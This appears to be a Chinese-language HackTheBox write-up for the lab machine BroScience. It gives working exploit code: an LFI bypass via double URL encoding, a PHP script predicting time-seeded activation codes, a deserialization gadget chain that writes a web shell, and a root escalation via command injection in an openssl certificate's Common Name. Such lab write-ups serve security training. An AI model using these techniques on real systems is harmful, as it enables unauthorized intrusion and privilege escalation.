HackTheBox - Medium - Linux - BroScience

BroScience

BroScience 是一款中等难度的 Linux 机器,其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力,攻击者可以深入了解帐户激活码的生成方式,从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后,进一步枚举显示该站点'的主题选择器功能容易受到使用自定义小工具链的 PHP 反序列化的影响,允许攻击者复制目标系统上的文件,最终导致远程代码执行。一旦站稳了脚跟,就会从数据库中恢复一些哈希值,一旦被破解,就会证明其中包含机器的有效“SSH”密码'的主要用户“bill”。最后,权限升级基于执行 Bash 脚本的 cronjob,该脚本容易受到通过“openssl”生成的证书进行命令注入的攻击,从而丧失对攻击者的“root”访问权限。


外部信息收集

端口扫描

循例nmap

file

Web枚举

在主页源码中可以看到img.php包含图片文件名来显示图片

file

但是会检测“/”,通过对%进行url enocde,实现二次url编码绕过

file

注册的时候需要激活码,然而这激活码是不可能发到我们的邮箱的

file

通过LFI读register.php,可以看到其调用utils.php中的生成函数

// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
...
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={
     $activation_code}";

跟到utils.php

file

它通过时间戳来做随机数种子,而与这个时间戳最接近并且我们能够获取到的,也就是register.php返回的响应头中的Date,将其转为时间戳,再做容错

首先注册一个账户

file

将响应头的Date拿去转换

file

exp

<?php
function generate_activation_code($time) {
   
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($time);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
   
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    echo $activation_code . "\n";
}

$time = 1704279054;

for ($t = $time;$t <= $time + 20; $t++){
   
    generate_activation_code($t);
}

?>

将生成的code保存到文件,ffuf跑一下

file

code应该是有时效的,及时到activate.php上激活

file

登录

file

Foothold

继续通过LFI读user.php

file

跟回到utils.php

class UserPrefs {
   
    public $theme;

    public function __construct($theme = "light") {
   
		$this->theme = $theme;
    }
}

function get_theme() {
   
    if (isset($_SESSION['id'])) {
   
        if (!isset($_COOKIE['user-prefs'])) {
   
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
   
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
   
        return "light";
    }
}

...

不需要脑子的反序列化,exp

<?php

class Avatar {
   
    public $imgPath;

    public function __construct($imgPath) {
   
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
   
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
   
    public $tmp = '/var/lib/php/sessions/sess_76n6mi015r86vgf1blcnmnhqtl';
    public $imgPath = "/var/www/html/cmd.php"; 

    public function __wakeup() {
   
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$a = new AvatarInterface();
echo base64_encode(serialize($a));

将base64复制到Cookie

file

用相同的方法注册并激活一个恶意用户,并且登录

file

再打一遍反序列化exp。cmd.php

file

常规python3 reverse shell

file

本地横向移动

db_connect.php

file

psql进数据库

file

查表

file

直接select * from users;

file

bill是目标系统上的账户,爆破它的密码hash对我们有利,拿上前面读到的salt进行爆破

file

登ssh

file

本地权限提升

传个pspy

file

它会先检查/home/bill/Certs/broscience.crt证书是否是一天内到期

file

然后它会生成一个证书,并且执行一个bash命令,而我们可以劫持$commonName

file

在生成证书的时候,我们向CommonName写入cmd

ill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -out broscience.crt -days 1
...
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/bash;chmod +s /tmp/bash)
Email Address []:
...

等一会,迎接老朋友的到来

file

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-01-04 10:58:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-01-04 10:58:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-01-04 10:58:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-01-04 10:58:01       18 阅读

热门阅读

  1. 在SQL脚本中删除所有的 prompt那一行

    2024-01-04 10:58:01       40 阅读
  2. Flume

    Flume

    2024-01-04 10:58:01      36 阅读
  3. <HarmonyOS第一课>从简单的页面开始

    2024-01-04 10:58:01       31 阅读
  4. KaTeX/LaTeX数学公式(持续更新ing...)

    2024-01-04 10:58:01       40 阅读
  5. vue 工作记录登录后的一些好方法

    2024-01-04 10:58:01       37 阅读
  6. mybatisPlus动态sql语句 ${ew.customSqlSegment}讲解

    2024-01-04 10:58:01       29 阅读
  7. 获取 Linux 系统中所有网络命名空间的路由表

    2024-01-04 10:58:01       41 阅读
  8. 【PostgreSQL】约束-外键

    2024-01-04 10:58:01       40 阅读
  9. vue实现画笔回放,canvas转视频播放功能

    2024-01-04 10:58:01       38 阅读
  10. Kali/Debian Linux 安装Docker Engine

    2024-01-04 10:58:01       43 阅读